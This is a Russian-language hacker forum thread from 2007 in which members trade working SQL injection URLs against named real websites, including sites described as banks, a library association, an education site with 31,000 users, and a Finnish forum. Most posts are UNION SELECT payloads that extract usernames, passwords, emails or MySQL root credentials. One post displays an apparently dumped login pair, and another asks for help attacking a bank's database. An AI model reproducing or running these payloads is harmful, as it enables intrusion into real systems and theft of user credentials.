ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.04.2007, 16:45
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

[ cash ],
Цитата:
http://quest.mini-rinok.ru/index.php?id=1%0bunion%0bselect%0bversion()/*
держи
 
Ответить с цитированием

  #2  
Старый 16.04.2007, 17:00
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
С нами: 10307906

Репутация: 1365


По умолчанию

Цитата:
Сообщение от n0ne  
[ cash ],

держи
смотри там и киборг побывал:

Код:
http://quest.mini-rinok.ru/index.php?id=1%0bunion%0bselect%0bconcat(username,char(58),password)%0bfrom%0busers/*

k1b0rg:599745
 
Ответить с цитированием

  #3  
Старый 17.04.2007, 03:37
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
С нами: 10715512

Репутация: 366
Отправить сообщение для VampiRUS с помощью Yahoo
По умолчанию

Цитата:
Сообщение от n0ne  
[ cash ],

держи
имхо, там не так задумывалось, пробельные символы в идеале должны были фильтроваться
 
Ответить с цитированием

  #4  
Старый 16.04.2007, 16:46
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

ну и я заодно подкину
http://alia.org.au/publishing/incite/2006/06/print.html?ID=68%20union%20select%201,2,3,4,5,6,7, 8,9,10,concat(password,char(58),user),12,13,14,15, 16,17%20from%20mysql.user/*
 
Ответить с цитированием

  #5  
Старый 16.04.2007, 20:25
InferNo23
Участник форума
Регистрация: 05.09.2006
Сообщений: 187
С нами: 10358246

Репутация: 378
По умолчанию

VisionLearning.com
31000 users

Код:
http://www.visionlearning.com/library/flash_viewer.php?oid=-1+union+select+1,concat(username,0x3a,password,0x3a,email),3,4,city+from+users+limit+31000,31001/*

Код:
http://kras.ru/pop_news.php?winid=-1+union+select+COLUMN_NAME,2,3,4+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=char(108,101,103,97,108)/*
Код:
http://ara.com.ua/onenews.php?oid=-1+union+select+1,2,3,user(),5,6,database()/*
 
Ответить с цитированием

  #6  
Старый 16.04.2007, 20:37
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

какой-то банк! помогите подобрать таблицу
http://www.nskbl.ru/tariff/plans/?id=7&data_id=900-9%20union%20select%201,2,3,4,5,6/*
 
Ответить с цитированием

  #7  
Старый 16.04.2007, 20:41
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию

Ну что, кэш, где твои +20? шутка, можешь не ставить.
 
Ответить с цитированием

  #8  
Старый 16.04.2007, 20:49
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

хаха еще один банк
Код:
http://www.cashservice.ru/index.php?part=transfer&action=point&id=700%20union%20select%20version(),database(),version(),4/*

Последний раз редактировалось kair; 16.04.2007 в 21:05..
 
Ответить с цитированием

  #9  
Старый 16.04.2007, 21:04
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

наслаждаемся rooтом
Код:
http://www.747.ru/board/main/show/?id=700%20union%20select%201,2,user,password,5,6,7,8,9,10%20from%20mysql.user/*
 
Ответить с цитированием

  #10  
Старый 16.04.2007, 22:05
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
С нами: 10307906

Репутация: 1365


По умолчанию

Код:
http://www.luontais.info/luontais.pmd/foorumi/haastattelu?id=-7+union+select+1,2,3,user(),version(),database(),7,8/*
Есть таблица users, но не смог вывести из неё колонки =\
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.